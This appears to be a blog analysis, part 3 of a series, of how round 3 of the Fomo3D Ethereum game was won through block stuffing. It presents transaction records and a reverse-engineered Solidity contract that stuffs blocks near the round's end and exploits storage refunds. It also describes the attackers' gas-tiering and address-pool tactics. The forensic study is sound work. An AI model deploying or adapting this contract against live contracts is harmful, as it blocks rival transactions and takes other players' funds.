Block Stuffing: Fomo3D, Part 3
By: Zhongqiang Chen
Tags: Ethereum Blockchain, Fomo3d, Block Stuffing Attack, Storage Refund, Cryptosecurity

The third round of Fomo3D

The third round of the Fomo3D game starts right after the end of the second round, which is Sep-24–2018 03:35:45 PM +UTC.

As rounds 1 and 2 of the Fomo3D game are won by employing block stuffing attacks, more players realize the effects and techniques of the block stuffing. So, it is expected that more players will resort to such kind of techniques to try to win the game.

Therefore, the Fomo3D game no longer belong to human players, instead, it becomes the playground of all kinds of attacks.

As a result, most fun of playing the game has lost and human players’ interests in the game fade, implying that the money pool for the game decreases along with time.

Sure enough, let us first look at the brief summary of the main events in round 3 of the Fomo3D game, which is shown below.

Transaction ending round 2: 0x87bf726bc60540c6b91cc013b48024a5b8c1431e0847aadecf0e92c56f8f46fd

Sender: 0x0056dae44A7fC61e817B0e793B1Af6E06bAB553E

Timestamp: Sep-24-2018 03:35:45 PM +UTC

Block containing that transaction: 6391548 Last transaction in round 3:

0x88452b56e9aa58b70321ee8d5c9ac762a62509c98d9a29a4d64d6caae49ae757

Sender: 0xaf492045962428a15903625b1a9ecf438890ef92

Timestamp: Oct-13-2018 02:09:14 PM +UTC

Block containing that transaction: 6507761 Winner of round 3: 0xaf492045962428a15903625B1a9ECF438890eF92

Amount won: 376 Transaction ending round 3: 0xe6a5a10ec91d12e3fec7e17b0dfbb983e00ffe93d61225735af2e1a8eabde003

Sender: 0x16e21b702ea2ee0f4dc40e877099c88acd3d27d5

Timestamp: Oct-13-2018 02:12:45 PM +UTC

Block containing that transaction: 6507774 Transaction where winner withdraws prize: 0xd7e70fdf58aca40139246a324e871c84d988cfaff673c9e5f384315c91afa5e4

Sender: 0xaf492045962428a15903625b1a9ecf438890ef92

Timestamp: Oct-13-2018 02:14:45 PM +UTC

Block containing that transaction: 6507786

The obvious thing is that the prize for the third round of the game is only 376 Ethers, which is much smaller compared with 10,469 Ethers and 3,264 Ethers for rounds 1 and 2, respectively.

The winner of the third round is 0xaf49 and his team. The winners of rounds 1 and 2 are 0xa169 and 0x18a0, respectively. Although I can not verify whether or not they are independent groups or belong to different teams, I tend to consider them separate groups mainly based on the block stuffing techniques they use in their smart contracts. I will talk more about this later in this part of the article.

The last transaction in the third round of the game is as follows.

Transaction Hash: 0x88452b56e9aa58b70321ee8d5c9ac762a62509c98d9a29a4d64d6caae49ae757

Status: Success

Block: 6507761 2201104 Block Confirmations

Timestamp: 361 days 2 hrs ago (Oct-13-2018 02:09:14 PM +UTC)

From: 0xaf492045962428a15903625b1a9ecf438890ef92

To: Contract 0xa62142888aba8370742be823c1782d17a0389da1 (Fomo3D: Long) TRANSFER 0.000007950972267342 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444ee TRANSFER 0.000007950972267342 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5 TRANSFER 0.000003975486133671 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d TRANSFER 0.000079509722673428 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xc7029ed9eba97a096e72607f4340c34049c7af48 Value: 0.000397548613367146 Ether ($0.08)

Transaction Fee: 0.00039316332 Ether ($0.08)

Gas Limit: 500,000

Gas Used by Transaction: 196,680 (39.34%)

Gas Price: 0.000000001999 Ether (1.999 Gwei)

Nonce Position 5708 136

Input Data: Function: buyXname(bytes32 _affCode, uint256 _team)

MethodID: 0xa65b37a1

[0]: 0000000000000000000000000000000000000000000000000000000000000000

[1]: 0000000000000000000000000000000000000000000000000000000000000002

The sender of this transaction is 0xaf49. In this transaction, the function buyXname() in the smart contract for the Fomo3D game was invoked to buy a key. The value carried by the transaction is 0.000397548613367146 Ethers. In comparison, the function invoked by the last transaction in round 2 is buyXid(). The ultimate goal of both functions is to buy a key. The only difference is: if the affiliate code is not provided when calling the function buyXname() or buyXid(), the former uses “name” of the player as the affiliate code while the latter uses “ID” of the player as the affiliate code.

The gas used by the transaction is 196,680 units, it is similar to that by the transaction invoking function buyXid(), which is 211,465 units as shown in part 2 of the article.

In order to ensure that this transaction is indeed the very last transaction buying a key, the sender of this transaction and his team need to prevent any key buying transaction from reaching the smart contract for the Fomo3D game in the next period of time defined by the counter in the game.

Similar to rounds 1 and 2 of the game, the sender of the last transaction and his team resort to block stuffing techniques to fill next blocks with their own transactions that typically offer high gas limit and/or high gas prices so that they are mined first by miners of the Ethereum blockchain. In this way, other transactions, especially those destined to Fomo3D game for key buying, have little chances to be included the blocks.

The smart contract for block stuffing

The block stuffing attacks are mainly implemented in a smart contract. The information on the smart contract for block stuffing in the third round of the Fomo3D game is given below.

Contract: 0xdcC655B2665A675B90ED2527354C18596276B0de

Creator: 0xfEfe743B43291D7799BE6e748E9fF4FB0c72Aa5C

Timestamp: Oct-11-2018 08:08:42 AM +UTC

Block: 6493912 Transaction:

Transaction Hash:

0x51aa41a16114b3730a88dd2f3273a1d19627f40999b88265e3a8075f3288e785

Status: Success

Block: 6493912 2202788 Block Confirmations

Timestamp: 361 days 10 hrs ago (Oct-11-2018 08:08:42 AM +UTC)

From: 0xfefe743b43291d7799be6e748e9ff4fb0c72aa5c

To: [Contract 0xdcc655b2665a675b90ed2527354c18596276b0de Created]

Value: 0 Ether ($0.00)

Transaction Fee: 0.004633596 Ether ($0.84)

Gas Limit: 386,133

Gas Used by Transaction: 386,133 (100%)

Gas Price: 0.000000012 Ether (12 Gwei)

Nonce Position 51 45

Input Data:

The creator of the smart contract is 0xfefe. It is interesting that the creator of this smart contract is not the one that won the prize of the third round of the game.

The smart contract is deployed on Oct-11–2018 08:08:42 AM +UTC. In comparison, the timestamp for the last transaction of round 3 is Oct-13–2018 02:09:14 PM +UTC. So, it is clear that the creator of the smart contract and his team won the prize of the third round just 2 days after the deployment of their attack tool.

The address of the smart contract is 0xdcc6. As the creator of the smart contract did not publish the source code of the smart contract, we employ the reverse engineering techniques to restore its source code.

The source code of the smart contract for block stuffing in round 3 of the game is presented as follows.

pragma solidity ^0.5.1; contract contract_dcc6 {

address constant target = 0xA62142888ABa8370742bE823c1782D17A0389Da1;

// slot 0x00

uint256 public numSlots; // slot 0x01

mapping (uint256 => uint256) public gasSlots; // slot 0x02

uint256 public blockTime = 0x01; // slot 0x03

address owner;

constructor () public {

owner = msg.sender;

}

// function selector: 0x4dcea9ed

// code entrance: 0x0092

function shouldStuff(uint256 _timeGap, uint256 _roundEnd) public

returns (bool) {

(uint256 rend, address paddr) = getRoundInfo(); bool rtn = false;

if ((rend == _roundEnd) || (_roundEnd == 0)) {

if ((rend >= block.timestamp) &&

((rend - block.timestamp) <= _timeGap)) {

rtn = checkOwners(paddr);

}

} return rtn;

}

// function selector: 0x67536bfc

// code entrance: 0x00e8

function decreaseGasSlot() public {

popGasSlot();

}

// function selector: 0xa4e62fc3

// code entrance: 0x012c

function blockStuff(uint256 _timestamp, uint256 _roundEnd) public {

if (blockTime < block.timestamp) {

// 0x050d958f = 84776335

if (shouldStuff(_timestamp - 0x050d958f, _roundEnd)) {

doStuff();

}

else {

// 0x3c = 60

blockTime = block.timestamp + 60;

popGasSlot();

}

}

else {

popGasSlot();

}

}

// function selector: 0xa7a9b324

// code entrance: 0x0147

function _doStuff() public {

doStuff();

}

// function selector: 0xb3bb8cd4

// code entrance: 0x015c

function _now() public view returns (uint256) {

return block.timestamp;

}

// internal functions

// code entrance: 0x01c8

function popGasSlot() private {

if (numSlots < 0x01) {

return;

}

else {

gasSlots[numSlots - 1] = 0;

numSlots = numSlots - 1;

return;

}

}

// code entrance: 0x0258

function doStuff() private {

// 0x1770 = 6000

// 0x5014 = 20500

uint256 num = (gasleft() - 6000) / 20500;

if (numSlots == 0) {

num = num - 1;

} uint256 idx = 0;

while (idx < num) {

gasSlots[numSlots + idx] = block.timestamp;

idx = idx + 1;

} numSlots = numSlots + num; // 0xc8 = 200

while (gasleft() > 200) {

idx = idx + 1;

}

}

// code entrance: 0x02cb

function getRoundInfo() private returns (uint256, address) {

// 747dff42 getCurrentRoundInfo

(bool success, bytes memory data) = target.call(

abi.encodeWithSelector(0x747dff42)); require (success == true);

require (data.length >= 0x01c0); uint256 rend;

address paddr;

assembly {

rend := mload(add(add(data, 0x20), 0x60))

paddr := mload(add(add(data, 0x20), 0xe0))

} return (rend, paddr);

}

// code entrance: 0x0387

function checkOwners(address _addr) private pure

returns (bool) {

return (

(_addr == 0x11f63528038c5DEC1F2212d91CadEc34afEab7b3) ||

(_addr == 0xaf492045962428a15903625B1a9ECF438890eF92) ||

(_addr == 0x2185219e02D7dc27Afa08aA6619739aA8FAa1fc7));

}

}

First, the address of the smart contract for the Fomo3D game, which is 0xA621, is hard coded in the source code, so, this smart contract for block stuffing is developed particularly for attacking the game.

The main entry point for the smart contract is the function blockStuff(), which has selector 0xa4e62fc3. This function first checks whether or not block stuffing should be conducted mainly based on time and if so, the function proceeds to launch block stuffing attack. In more particular, checking the conditions for block stuffing is performed in another function named shouldStuff() and the real block stuffing attack is done in function doStuff().

In order to determine whether or not the conditions for block stuffing are satisfied, the function shouldStuff() first gets the information about the current round of the Fomo3D game by using function getRoundInfo(), and then checks if the end time of the current round has not been reached and the gap between current time and the round end time falls into the specified threshold (i.e., 60 seconds). If these time related conditions are met, the function further check the lead player in the current round is one of the members in the attacker’s team. Only all these conditions are satisfied, the function shouldStuff() returns true, otherwise, returns false.

The function checkOwners() performs the verification of membership for the team: it only permits 3 accounts to be the members for playing the Fomo3D game in the team and one of them is 0xaf49, which is exactly the winner of the third round of the game.

The actual block stuffing attack is performed in function doStuff(). The method for block stuffing is quite simple: the function mainly uses the “add” operation in a loop and in every iteration, a local variable adds “1” to itself. It is interesting to see that the function intentionally does not use up all the gas. Instead, it stops the loop when the remaining gas is less than or equal to 200 units.

Compared to the block stuffing methods used by the winners of rounds 1 and 2 of the game, the method used in this smart contract is quite different: it does not use “assert()” to crash the execution of the transaction when the conditions for attack are met. Instead, this smart contract uses a loop to execute “useless” operation and also avoids using up all the gas.

The net result is: the status of the transactions that launch block stuffing attacks by this smart contract will be “success” rather than “fail” as those transactions in rounds 1 and 2 because all the block stuffing transactions by this smart contract execute successfully and terminate normally. In contrast, those block stuffing transactions in rounds 1 and 2 all crash and fail as they all did not satisfy the conditions required by the “assert()” statement.

The advantage is: as these block stuffing transactions all look normal and execute successfully, they are much more difficult to be spotted and to be distinguished from other transactions.

Another interesting technique used by this smart contract is: it takes advantage of the storage refund provided by the Ethereum blockchain. In Ethereum blockchain, storage variables in smart contracts are stored by all nodes of the blockchain forever. To encourage contracts to delete storage variables, Ethereum provides a refund when a storage element is deleted. This refund can pay for up to half of the gas used by a contract transaction.

As we pointed out before, the actual block stuffing attack is conducted in the function doStuff(), and the block stuffing method is to execute “useless” operations such as “add” in a loop in order to consume as much gas as possible. It would be great if some of these “useless” operations can be converted into “useful” operations.

To do so, the function doStuff() builds a bank of storage, which is named gasSlots in the source code, before entering the loop. The function then fills a certain number of slots in the bank with the timestamp of the current block as the content of the slots (in fact, the contents of the slots do not matter as long as they are not 0). The number of slots is determined by the gas limit. More specifically, one slot is filled for every 20500 units of gas.

If a transaction that invokes the function blockStuff() in the smart contract does not meet the conditions for a block stuffing attack, the function simply deletes one slot in the bank of the storage to get the storage refund, which will make the transaction fees for those transactions that do not launch block stuffing attacks much cheaper.

The timeline of block stuffing in round 3

As shown before, the last transaction in round 3 of the game occurs on block 6507761, and the round is ended on block 6507774. That means the attackers have successfully stuffed blocks in range [6507762, 6507774).

In fact, when we review transactions in blocks 6507762 to 6507767, we notice that there is no transaction destined to block stuffing contract, contract_dcc6. Meanwhile, there is no transaction sending to the smart contract for the Fomo3D game, either.

The actual block stuffing started at block 6507768.

Block Height: 6507768

Timestamp: 360 days 10 hrs ago (Oct-13-2018 02:12:18 PM +UTC)

Transactions: 179 transactions and 12 contract internal transactions in this block

Mined by: 0xea674fdde714fd979de3edf0f56aa9716b898ec8 (Ethermine) in 66 secs

Block Reward: 3.994150447467999127 Ether (3 + 0.994150447467999127)

Uncles Reward: 0

Difficulty: 3,126,180,000,925,285

Total Difficulty: 7,198,868,778,853,428,051,981

Size: 20,594 bytes

Gas Used: 7,995,653 (99.95%)

Gas Limit: 8,000,029

Extra Data: ethermine-eu1 (Hex:0x65746865726d696e652d657531)

Hash: 0x7d28c9df1507a77606bd0efe0cdb631e89772a64a4ff9ff86574bb0992d4d43c

Parent Hash: 0x040046298455440a33fe74e73dd794acc434b754181fcffb5ff3f6c58f49a0e1

Sha3Uncles: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347

Nonce: 0xef8566a0030314db

The amount of gas consumed by transactions is shown below.

transaction sender gas limit gas used

0x9dff772bd890973472aabbc7028b3e4a8c48593c 4,000,000 3,999,903

0x0cf30b42b7e985f5c05796d56b336f475fdbec0b 160,000 159,913

others 3,835,653

total 7,995,653

It can be seen that all other 177 transactions consume 3,835,653 units of gas. Although the average gas consumption for them is 21670 units, which is not enough to make a function call such as buyXid() or buyXname() in the smart contract for Fomo3D, however, 3,835,653 units of gas are big enough for a transaction to make such a function call. Therefore, it seems that the attackers are lucky to successfully block other transactions from be reaching the smart contract for Fomo3D with only two block stuffing transactions that only occupy half of the block gas limit.

The gas limits for these two block stuffing transactions are 4,000,000 and 160,000, respectively. After the execution, both transactions have some gas remained. This is exactly the behavior specified in the source code: the loop for “useless” operations stops when the remaining gas is less than or equal to 200 units. From that point to the complete termination of the execution, a small amount of gas is further consumed, thus, the remaining gas after transaction termination is around 90 units.

The differences in gas limits for these two block stuffing transactions may imply that the attackers could use some kind of gas allocation strategy when launching attacks.

So, let us look at block stuffing transactions in other blocks. Here is information on block 6507769.

Block Height: 6507769

Timestamp: 360 days 10 hrs ago (Oct-13-2018 02:12:21 PM +UTC)

Transactions: 2 transactions and 0 contract internal transaction in this block

Mined by: 0xea674fdde714fd979de3edf0f56aa9716b898ec8 (Ethermine) in 3 secs

Block Reward: 4.900369914983998254 Ether (3 + 1.900369914983998254)

Uncles Reward: 0

Difficulty: 3,127,715,045,938,453

Total Difficulty: 7,198,871,906,568,473,990,434

Size: 880 bytes

Gas Used: 7,999,806 (100.00%)

Gas Limit: 8,000,029

Extra Data: ethermine-eu5 (Hex:0x65746865726d696e652d657535)

Hash: 0x7a40c3f860c33e812cbbf05ca310d043620da3410ccf8a34b16f8bbaafdfebbd

Parent Hash: 0x7d28c9df1507a77606bd0efe0cdb631e89772a64a4ff9ff86574bb0992d4d43c

Sha3Uncles: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347

Nonce: 0x62e0e10305da2970

It is amazing that block 6507769 contains only two transactions and both transactions are used for block stuffing.

transaction sender gas limit gas used

0x7002b16f4a1df50cc0aff49c2012e4fd3348cd69 4,000,000 3,999,903

0x93a86432120efd7ad651aac017089a455f4feba6 4,000,000 3,999,903

total 7,999,806

First, the senders of these two transactions are different from those in block 6507768, implying that the attackers in fact employ a pool of addresses to launch the attacks at the same time.

Next, the fact that both transactions have the same gas limit 4,000,000 also indicates that multiple transactions are assigned the same gas limit when firing the attacks.

Here is the information about block 6507770.

Block Height: 6507770

Timestamp: 361 days 6 hrs ago (Oct-13-2018 02:12:25 PM +UTC)

Transactions: 3 transactions and 0 contract internal transaction in this block

Mined by: 0x829bd824b016326a401d083b33d092293333a830 (F2Pool) in 4 secs

Block Reward: 4.900334519727997405 Ether (3 + 1.900334519727997405)

Uncles Reward: 0

Difficulty: 3,129,250,840,485,319

Total Difficulty: 7,198,875,035,819,314,475,753

Size: 1,054 bytes

Gas Used: 7,999,657 (100.00%)

Gas Limit: 8,000,000

Extra Data: 七彩神仙鱼 (Hex:0xe4b883e5bda9e7a59ee4bb99e9b1bc)

Hash: 0x11481fbba3bd5346eb4facef04816677244978c6fd95f6080ce5bb1bebdeeea5

Parent Hash: 0x7a40c3f860c33e812cbbf05ca310d043620da3410ccf8a34b16f8bbaafdfebbd

Sha3Uncles: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347

Nonce: 0xf600b9300354c9a1

There are only 3 transactions in block 6507770, all of which are for block stuffing purpose.

transaction sender gas limit gas used

0xac18f6940497e0a3a64ead795556fdc32d031fcc 2,000,000 1,999,877

0x19005a1f86c4d3c879bdb20864f54c6382e55b48 2,000,000 1,999,877

0xfb3565bd9493ac2e5c75ad24124c82252fa8fd4e 4,000,000 3,999,903

Similar to block 6507769, the number of block stuffing transactions is 2 in blocks 6507771 and 6507772.

The final block that is subjected to block stuffing attacks is block 6507773. In block 6507773, there are 6 block stuffing transactions which are shown below.

transaction sender gas limit gas used

0x7002b16f4a1df50cc0aff49c2012e4fd3348cd69 4,000,000 3,999,903

0xac18f6940497e0a3a64ead795556fdc32d031fcc 2,000,000 1,999,877

0xae51246e1c103048f661c279db6bd83cb7dfd512 1,000,000 999,885

0xab8b5004f25dbc28d48dbfa6d9ea0f414b7f0ac8 500,000 499,875

0x0cf30b42b7e985f5c05796d56b336f475fdbec0b 160,000 159,913

0x24fe5a20e7321c6f1e33d542b295e1e23e89cb16 160,000 159,913

total 7,987,417

All these further confirm that the attackers divide gas limits into different levels and for each level of gas limit, multiple transactions are generated when launching block stuffing attacks. Also, in order to increase the success probability for block stuffing, a large pool of accounts (i.e., addresses) is utilized.

All block stuffing transactions look similar except differences in gas limit and gas price. So, let us just review one block stuffing transaction in details.

Transaction Hash: 0x17246022cbfea3f10720d123386332c2b11282f156630650558fdcc3835b879b

Status: Success

Block: 6507773 2196679 Block Confirmations

Timestamp: 360 days 10 hrs ago (Oct-13-2018 02:12:41 PM +UTC)

From: 0x7002b16f4a1df50cc0aff49c2012e4fd3348cd69

To: Contract 0xdcc655b2665a675b90ed2527354c18596276b0de

Value: 0 Ether ($0.00)

Transaction Fee: 1.70400948536789 Ether ($310.06)

Gas Limit: 4,000,000

Gas Used by Transaction: 3,999,903 (100%)

Gas Price: 0.00000042601270215 Ether (426.01270215 Gwei)

Nonce Position 36 5

Input Data:

0xa4e62fc3

00000000000000000000000000000000000000000000000000000000050d95e9

0000000000000000000000000000000000000000000000000000000000000000

This transaction invoked the function blockStuff(), which has function selector 0xa4e62fc3, to launch a block stuffing attack. The function takes two arguments: _timestamp and _roundEnd. Here, the _timestamp is 84776425 (0x50d95e9) and _roundEnd is set to 0.

It is clear that the status of the transaction is “success” and it is quite contrary to that of block stuffing transactions in rounds 1 and 2, which all have status “fail”.

The gas limit is not used up by the transaction, although the gas left is extremely small. That is also quite different from that in rounds 1 and 2.

The gas limit for the transaction is 4,000,000 and the gas price is 426.01270215 Gwei. After the execution, the gas consumption is 3,999,903 units. As both gas limit and gas price are extremely high, the transaction fee is also high, 1.70400948536789 Ethers.

In contrast, a non-block stuffing transaction destined to the same contract, contract_dcc6, has a much lower transaction fee. Let us take a transaction in block 6507774 as an example.

Transaction Hash: 0x4fc5122b64ed5ecc342f8a27bd2d03cc5038994064ef9c7ced7aeaf4c68f267c

Status: Success

Block: 6507774 2202331 Block Confirmations

Timestamp: 361 days 7 hrs ago (Oct-13-2018 02:12:45 PM +UTC)

From: 0x9dff772bd890973472aabbc7028b3e4a8c48593c

To: Contract 0xdcc655b2665a675b90ed2527354c18596276b0de

Value: 0 Ether ($0.00)

Transaction Fee: 0.01351628204938 Ether ($2.59)

Gas Limit: 4,000,000

Gas Used by Transaction: 30,977 (0.77%)

Gas Price: 0.000000436332829176 Ether (436.332829176 Gwei)

Nonce Position 48 0

Input Data:

0xa4e62fc3

00000000000000000000000000000000000000000000000000000000050d95e9

0000000000000000000000000000000000000000000000000000000000000000

The setting of this transaction is exactly the same as that of the block stuffing transaction shown above. However, because the conditions for block stuffing attack are no longer met at this point of time, the transaction does not trigger the block stuffing attack. Thus, the entire logic of block stuffing is bypassed, and the transaction fee is therefore low: 0.01351628204938 Ethers. Although it is still very high due to its high gas price, but it is much lower than 1.70400948536789 Ethers, the transaction fee for a block stuffing transaction.

Finally, let us take a look at the transaction that withdraws the prize by the winner.

Transaction Hash: 0xd7e70fdf58aca40139246a324e871c84d988cfaff673c9e5f384315c91afa5e4

Status: Success

Block: 6507786 2201108 Block Confirmations

Timestamp: 361 days 2 hrs ago (Oct-13-2018 02:14:45 PM +UTC)

From: 0xaf492045962428a15903625b1a9ecf438890ef92

To: Contract 0xa62142888aba8370742be823c1782d17a0389da1 (Fomo3D: Long) TRANSFER 376.982073789705339927 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xaf492045962428a15903625b1a9ecf438890ef92 Value: 0 Ether ($0.00)

Transaction Fee: 0.000196479711 Ether ($0.04)

Gas Limit: 1,000,000

Gas Used by Transaction: 32,763 (3.28%)

Gas Price: 0.000000005997 Ether (5.997 Gwei)

Nonce Position 5712 86

Input Data: Function: withdraw()

MethodID: 0x3ccfd60b

The total amount of money withdrawn by the attacker is 376.982073789705339927 Ethers.

With that, the third round of Fomo3D game ended and another round of the game began.

Life with block stuffing attacks still goes on.

References